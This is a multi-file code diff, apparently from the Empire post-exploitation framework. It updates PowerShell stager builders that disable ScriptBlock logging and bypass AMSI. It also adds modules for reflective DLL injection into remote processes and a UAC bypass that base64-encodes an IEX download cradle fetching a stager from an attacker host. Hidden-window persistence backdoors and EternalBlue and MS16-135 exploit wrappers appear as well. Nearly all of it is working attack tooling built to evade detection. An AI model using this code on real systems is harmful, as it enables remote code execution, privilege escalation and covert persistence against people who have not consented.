stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
|
||||
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
|
||||
stager += "'signatures','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
|
||||
|
||||
# @mattifestation's AMSI bypass
|
||||
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
|
||||
|
@ -142,6 +149,7 @@ class Listener:
|
|||
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
|
||||
stager += "'amsiInitFailed','NonPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
|
||||
stager += "};"
|
||||
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
|
||||
|
||||
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
|
||||
|
@ -176,7 +184,7 @@ class Listener:
|
|||
password = proxyCreds.split(':')[1]
|
||||
domain = username.split('\\')[0]
|
||||
usr = username.split('\\')[1]
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");"
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
|
||||
|
||||
# TODO: reimplement stager retries?
|
||||
|
@ -204,7 +212,7 @@ class Listener:
|
|||
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
||||
|
||||
if obfuscate:
|
||||
stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
|
||||
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
|
||||
# base64 encode the stager and return it
|
||||
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
|
||||
return helpers.powershell_launcher(stager, launcher)
|
||||
|
@ -247,7 +255,7 @@ class Listener:
|
|||
# add the RC4 packet to a cookie
|
||||
launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket)
|
||||
launcherBase += "import urllib2\n"
|
||||
|
||||
|
||||
if proxy.lower() != "none":
|
||||
if proxy.lower() == "default":
|
||||
launcherBase += "proxy = urllib2.ProxyHandler();\n"
|
||||
|
@ -262,7 +270,7 @@ class Listener:
|
|||
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
|
||||
username = proxyCreds.split(':')[0]
|
||||
password = proxyCreds.split(':')[1]
|
||||
launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n"
|
||||
launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
|
||||
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
|
||||
else:
|
||||
launcherBase += "o = urllib2.build_opener(proxy);\n"
|
||||
|
@ -271,7 +279,7 @@ class Listener:
|
|||
|
||||
#install proxy and creds globally, so they can be used with urlopen.
|
||||
launcherBase += "urllib2.install_opener(o);\n"
|
||||
|
||||
|
||||
# download the stager and extract the IV
|
||||
launcherBase += "a=o.open(server+t).read();"
|
||||
launcherBase += "IV=a[0:4];"
|
||||
|
|
|
@ -173,17 +173,25 @@ class Listener:
|
|||
if language.startswith('po'):
|
||||
# PowerShell
|
||||
|
||||
stager = ''
|
||||
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
|
||||
if safeChecks.lower() == 'true':
|
||||
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
|
||||
|
||||
# ScriptBlock Logging bypass
|
||||
stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(")
|
||||
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
|
||||
stager += "'System.Management.Automation.Utils'"
|
||||
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
|
||||
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
|
||||
stager += helpers.randomize_capitalization("$GroupPolicySettings")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
|
||||
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
|
||||
stager += "['ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("){$GPS")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
|
||||
stager += helpers.randomize_capitalization("$GPS")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
|
||||
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
|
||||
stager += "'signatures','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
|
||||
stager += "};"
|
||||
|
||||
# @mattifestation's AMSI bypass
|
||||
stager += helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";')
|
||||
|
@ -228,7 +236,7 @@ class Listener:
|
|||
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
||||
|
||||
if obfuscate:
|
||||
stager = helpers.obfuscate(stager, obfuscationCommand=obfuscationCommand)
|
||||
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
|
||||
# base64 encode the stager and return it
|
||||
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
|
||||
return helpers.powershell_launcher(stager, launcher)
|
||||
|
@ -255,6 +263,7 @@ class Listener:
|
|||
uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
|
||||
stagingKey = listenerOptions['StagingKey']['Value']
|
||||
host = listenerOptions['Host']['Value']
|
||||
workingHours = listenerOptions['WorkingHours']['Value']
|
||||
folder = listenerOptions['Folder']['Value']
|
||||
|
||||
if language.lower() == 'powershell':
|
||||
|
@ -317,6 +326,7 @@ class Listener:
|
|||
lostLimit = listenerOptions['DefaultLostLimit']['Value']
|
||||
killDate = listenerOptions['KillDate']['Value']
|
||||
folder = listenerOptions['Folder']['Value']
|
||||
workingHours = listenerOptions['WorkingHours']['Value']
|
||||
b64DefaultResponse = base64.b64encode(self.default_response())
|
||||
|
||||
if language == 'powershell':
|
||||
|
|
|
@ -102,7 +102,7 @@ class Listener:
|
|||
script = helpers.strip_powershell_comments(script)
|
||||
script += "\nInvoke-Shellcode -Payload %s -Lhost %s -Lport %s -Force" % (msfPayload, host, port)
|
||||
if obfuscate:
|
||||
script = helpers.obfuscate(script, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
|
||||
script = helpers.obfuscate(self.mainMenu.installPath, script, obfuscationCommand=obfuscationCommand)
|
||||
return script
|
||||
|
||||
else:
|
||||
|
|
|
@ -77,7 +77,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/exploitation/Exploit-EternalBlue.ps1"
|
||||
|
@ -105,4 +105,4 @@ class Module:
|
|||
|
||||
script += "; 'Exploit complete'"
|
||||
|
||||
return script
|
||||
return script
|
||||
|
|
|
@ -0,0 +1,158 @@
|
|||
from lib.common import helpers
|
||||
import base64
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-PSInject',
|
||||
|
||||
'Author': ['@harmj0y', '@sixdub', 'leechristensen (@tifkin_)', 'james fitts'],
|
||||
|
||||
'Description': ("Utilizes Powershell to to inject a Stephen Fewer "
|
||||
"formed ReflectivePick which executes PS code"
|
||||
"from memory in a remote process"),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : False,
|
||||
|
||||
'Language' : 'powershell',
|
||||
|
||||
'MinLanguageVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'http://sixdub.net'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'UploadPath' : {
|
||||
'Description' : 'Path to drop dll (C:\Users\Administrator\Desktop).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ProcName' : {
|
||||
'Description' : 'Process name to inject into. (I.E calc, chrome, powershell)',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Listener' : {
|
||||
'Description' : 'Listener to use.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserAgent' : {
|
||||
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'Proxy' : {
|
||||
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'Arch' : {
|
||||
'Description' : 'Architecture of the .dll to generate (x64 or x86).',
|
||||
'Required' : False,
|
||||
'Value' : 'x64'
|
||||
},
|
||||
'ProxyCreds' : {
|
||||
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
def rand_text_alphanumeric(size=15, chars=string.ascii_uppercase + string.digits):
|
||||
return ''.join(random.choice(chars) for _ in range(size))
|
||||
|
||||
fname = rand_text_alphanumeric() + ".dll"
|
||||
listenerName = self.options['Listener']['Value']
|
||||
procName = self.options['ProcName']['Value'].strip()
|
||||
uploadPath = self.options['UploadPath']['Value'].strip()
|
||||
arch = self.options['Arch']['Value'].strip()
|
||||
fullUploadPath = uploadPath + "\\" + fname
|
||||
|
||||
if procName == '':
|
||||
print helpers.color("[!] ProcName must be specified.")
|
||||
return ''
|
||||
|
||||
# staging options
|
||||
userAgent = self.options['UserAgent']['Value']
|
||||
proxy = self.options['Proxy']['Value']
|
||||
proxyCreds = self.options['ProxyCreds']['Value']
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-ReflectivePEInjection.ps1"
|
||||
if obfuscate:
|
||||
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
||||
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
scriptEnd = ""
|
||||
if not self.mainMenu.listeners.is_listener_valid(listenerName):
|
||||
# not a valid listener, return nothing for the script
|
||||
print helpers.color("[!] Invalid listener: %s" %(listenerName))
|
||||
return ''
|
||||
else:
|
||||
# generate the PowerShell one-liner with all of the proper options set
|
||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
|
||||
|
||||
if launcher == '':
|
||||
print helpers.color('[!] Error in launcher generation.')
|
||||
return ''
|
||||
else:
|
||||
launcherCode = launcher.split(' ')[-1]
|
||||
|
||||
scriptEnd += "Invoke-ReflectivePEInjection -PEPath %s -ProcName %s " % (fullUploadPath, procName)
|
||||
|
||||
dll = self.mainMenu.stagers.generate_dll(launcherCode, arch)
|
||||
|
||||
UploadScript = self.mainMenu.stagers.generate_upload(dll, fullUploadPath)
|
||||
|
||||
if obfuscate:
|
||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||
|
||||
script += "\r\n"
|
||||
script += UploadScript
|
||||
script += "\r\n"
|
||||
script += scriptEnd
|
||||
script += "\r\n"
|
||||
script += "Remove-Item -Path %s" % fullUploadPath
|
||||
|
||||
return script
|
|
@ -149,7 +149,7 @@ Invoke-DeadUserBackdoor"""
|
|||
|
||||
else:
|
||||
# set the listener value for the launcher
|
||||
stager = self.mainMenu.stagers.stagers["launcher"]
|
||||
stager = self.mainMenu.stagers.stagers["multi/launcher"]
|
||||
stager.options['Listener']['Value'] = listenerName
|
||||
stager.options['Base64']['Value'] = "False"
|
||||
|
||||
|
@ -188,7 +188,8 @@ Invoke-DeadUserBackdoor"""
|
|||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
||||
# transform the backdoor into something launched by powershell.exe
|
||||
# so it survives the agent exiting
|
||||
launcher = helpers.powershell_launcher(script)
|
||||
modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
|
||||
launcher = helpers.powershell_launcher(script, modifiable_launcher)
|
||||
stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
|
||||
parts = stagerCode.split(" ")
|
||||
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
import os
|
||||
from lib.common import helpers
|
||||
import pdb
|
||||
|
||||
class Module:
|
||||
|
||||
|
@ -123,7 +124,7 @@ Invoke-EventLogBackdoor"""
|
|||
|
||||
else:
|
||||
# set the listener value for the launcher
|
||||
stager = self.mainMenu.stagers.stagers["launcher"]
|
||||
stager = self.mainMenu.stagers.stagers["multi/launcher"]
|
||||
stager.options['Listener']['Value'] = listenerName
|
||||
stager.options['Base64']['Value'] = "False"
|
||||
|
||||
|
@ -162,7 +163,8 @@ Invoke-EventLogBackdoor"""
|
|||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
||||
# transform the backdoor into something launched by powershell.exe
|
||||
# so it survives the agent exiting
|
||||
launcher = helpers.powershell_launcher(script)
|
||||
modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
|
||||
launcher = helpers.powershell_launcher(script, modifiable_launcher)
|
||||
stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
|
||||
parts = stagerCode.split(" ")
|
||||
|
||||
|
|
|
@ -136,7 +136,7 @@ Invoke-ResolverBackdoor"""
|
|||
|
||||
else:
|
||||
# set the listener value for the launcher
|
||||
stager = self.mainMenu.stagers.stagers["launcher"]
|
||||
stager = self.mainMenu.stagers.stagers["multi/launcher"]
|
||||
stager.options['Listener']['Value'] = listenerName
|
||||
stager.options['Base64']['Value'] = "False"
|
||||
|
||||
|
@ -175,7 +175,8 @@ Invoke-ResolverBackdoor"""
|
|||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
||||
# transform the backdoor into something launched by powershell.exe
|
||||
# so it survives the agent exiting
|
||||
launcher = helpers.powershell_launcher(script)
|
||||
modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
|
||||
launcher = helpers.powershell_launcher(script, modifiable_launcher)
|
||||
stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
|
||||
parts = stagerCode.split(" ")
|
||||
|
||||
|
|
|
@ -0,0 +1,164 @@
|
|||
from lib.common import helpers
|
||||
import base64
|
||||
import re
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
# Metadata info about the module, not modified during runtime
|
||||
self.info = {
|
||||
# Name for the module that will appear in module menus
|
||||
'Name': 'Invoke-BypassUACTokenManipulation',
|
||||
|
||||
# List of one or more authors for the module
|
||||
'Author': ['@enigma0x3,@424f424f'],
|
||||
|
||||
# More verbose multi-line description of the module
|
||||
'Description': ('Bypass UAC module based on the script released by Matt Nelson @enigma0x3 at Derbycon 2017'),
|
||||
|
||||
# True if the module needs to run in the background
|
||||
'Background': False,
|
||||
|
||||
# File extension to save the file as
|
||||
'OutputExtension': None,
|
||||
|
||||
# True if the module needs admin rights to run
|
||||
'NeedsAdmin': False,
|
||||
|
||||
# True if the method doesn't touch disk/is reasonably opsec safe
|
||||
'OpsecSafe': True,
|
||||
|
||||
# The language for this module
|
||||
'Language': 'powershell',
|
||||
|
||||
# The minimum PowerShell version needed for the module to run
|
||||
'MinLanguageVersion': '2',
|
||||
|
||||
# List of any references/other comments
|
||||
'Comments': [
|
||||
'comment',
|
||||
'https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-TokenDuplication.ps1'
|
||||
]
|
||||
}
|
||||
|
||||
# Any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
|
||||
'Agent': {
|
||||
'Description': 'Agent to elevate from.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Stager': {
|
||||
'Description': 'Stager file that you have hosted.',
|
||||
'Required' : True,
|
||||
'Value' : 'update.php'
|
||||
},
|
||||
'Host': {
|
||||
'Description': 'Host or IP where stager is served.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserAgent': {
|
||||
'Description': 'UserAgent for staging process',
|
||||
'Required' : False,
|
||||
'Value' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'
|
||||
},
|
||||
'Port': {
|
||||
'Description': 'Port to connect to where stager is served',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Proxy' : {
|
||||
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'ProxyCreds' : {
|
||||
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Save off a copy of the mainMenu object to access external
|
||||
# functionality like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
# During instantiation, any settable option parameters are passed as
|
||||
# an object set to the module and the options dictionary is
|
||||
# automatically set. This is mostly in case options are passed on
|
||||
# the command line.
|
||||
if params:
|
||||
for param in params:
|
||||
# Parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
stager = self.options['Stager']['Value']
|
||||
host = self.options['Host']['Value']
|
||||
userAgent = self.options['UserAgent']['Value']
|
||||
port = self.options['Port']['Value']
|
||||
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-BypassUACTokenManipulation.ps1"
|
||||
if obfuscate:
|
||||
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
|
||||
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# If you'd just like to import a subset of the functions from the
|
||||
# module source, use the following:
|
||||
# script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-Something", "Set-Something"])
|
||||
script = moduleCode
|
||||
|
||||
# Second method: For calling your imported source, or holding your
|
||||
# inlined script. If you're importing source using the first method,
|
||||
# ensure that you append to the script variable rather than set.
|
||||
#
|
||||
# The script should be stripped of comments, with a link to any
|
||||
# original reference script included in the comments.
|
||||
#
|
||||
# If your script is more than a few lines, it's probably best to use
|
||||
# the first method to source it.
|
||||
#
|
||||
# script += """
|
||||
|
||||
|
||||
try:
|
||||
blank_command = ""
|
||||
powershell_command = ""
|
||||
encodedCradle = ""
|
||||
cradle = "IEX \"(new-object net.webclient).downloadstring('%s:%s/%s')\"|IEX" % (host,port,stager)
|
||||
# Remove weird chars that could have been added by ISE
|
||||
n = re.compile(u'(\xef|\xbb|\xbf)')
|
||||
# loop through each character and insert null byte
|
||||
for char in (n.sub("", cradle)):
|
||||
# insert the nullbyte
|
||||
blank_command += char + "\x00"
|
||||
# assign powershell command as the new one
|
||||
powershell_command = blank_command
|
||||
# base64 encode the powershell command
|
||||
|
||||
|
||||
encodedCradle = base64.b64encode(powershell_command)
|
||||
|
||||
except Exception as e:
|
||||
pass
|
||||
if obfuscate:
|
||||
scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||
scriptEnd = "Invoke-BypassUACTokenManipulation -Arguments \"-w 1 -enc %s\"" % (encodedCradle)
|
||||
script += scriptEnd
|
||||
return script
|
|
@ -73,7 +73,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16135.ps1"
|
||||
try:
|
||||
|
@ -101,5 +101,6 @@ class Module:
|
|||
|
||||
script += 'Invoke-MS16135 -Command "' + launcherCode + '"'
|
||||
script += ';`nInvoke-MS16135 completed.'
|
||||
|
||||
if obfuscate:
|
||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
||||
return script
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
from lib.common import helpers
|
||||
import pdb
|
||||
|
||||
class Module:
|
||||
|
||||
|
@ -64,7 +65,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
script = """
|
||||
f = open("/etc/passwd")
|
||||
|
|
|
@ -69,7 +69,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
logFile = self.options['LogFile']['Value']
|
||||
|
||||
|
|
|
@ -64,7 +64,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
script = """
|
||||
from __future__ import print_function
|
||||
|
|
|
@ -75,7 +75,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
sleep = self.options['Sleep']['Value']
|
||||
allUsers = self.options['AllUsers']['Value']
|
||||
|
|
|
@ -93,7 +93,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
savePath = self.options['SavePath']['Value']
|
||||
inMemory = self.options['InMemory']['Value']
|
||||
|
|
|
@ -69,7 +69,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
number = self.options['Number']['Value']
|
||||
|
||||
|
|
|
@ -74,7 +74,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
outFile = self.options['OutFile']['Value']
|
||||
monitorTime = self.options['MonitorTime']['Value']
|
||||
|
|
|
@ -66,7 +66,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
script = """
|
||||
import os
|
||||
|
|
|
@ -84,7 +84,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
count = self.options['Messages']['Value']
|
||||
script = "count = " + str(count) + '\n'
|
||||
if self.options['Debug']['Value']:
|
||||
|
|
|
@ -68,7 +68,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
script = """
|
||||
import subprocess
|
||||
|
|
|
@ -74,7 +74,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
keyChain = self.options['KeyChain']['Value']
|
||||
tempDir = self.options['TempDir']['Value']
|
||||
|
|
|
@ -82,7 +82,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
keyChain = self.options['KeyChain']['Value']
|
||||
password = self.options['Password']['Value']
|
||||
|
|
|
@ -69,7 +69,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
logFile = self.options['LogFile']['Value']
|
||||
|
||||
|
|
|
@ -62,7 +62,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
script = """
|
||||
try:
|
||||
|
|
|
@ -78,7 +78,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
sleep = self.options['Sleep']['Value']
|
||||
allUsers = self.options['AllUsers']['Value']
|
||||
|
|
|
@ -82,7 +82,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
listApps = self.options['ListApps']['Value']
|
||||
appName = self.options['AppName']['Value']
|
||||
|
|
|
@ -81,7 +81,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
exitCount = self.options['ExitCount']['Value']
|
||||
verbose = self.options['Verbose']['Value']
|
||||
|
|
|
@ -67,7 +67,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
savePath = self.options['SavePath']['Value']
|
||||
|
||||
|
|
|
@ -71,7 +71,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
searchTerm = self.options['SearchTerm']['Value']
|
||||
|
||||
|
|
|
@ -99,7 +99,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
script = '\n'
|
||||
for item in self.info['Imports']:
|
||||
script += "import %s \n" % item
|
||||
|
|
|
@ -69,7 +69,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
tempDir = self.options['TempDir']['Value']
|
||||
if not tempDir.endswith("/"):
|
||||
|
|
|
@ -72,7 +72,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
|
||||
url = self.options['URL']['Value']
|
||||
payload = self.options['Payload']['Value']
|
||||
|
|
|
@ -79,7 +79,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
login = self.options['Login']['Value']
|
||||
password = self.options['Password']['Value']
|
||||
command = self.options['Command']['Value']
|
||||
|
|
|
@ -89,7 +89,7 @@ class Module:
|
|||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
login = self.options['Login']['Value']
|
||||
password = self.options['Password']['Value']
|
||||
listenerName = self.options['Listener']['Value']
|
||||
|
|
|
@ -80,7 +80,7 @@ class Module:
|
|||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
def generate(self, obfuscate=False, obfuscationCommand=""):
|
||||
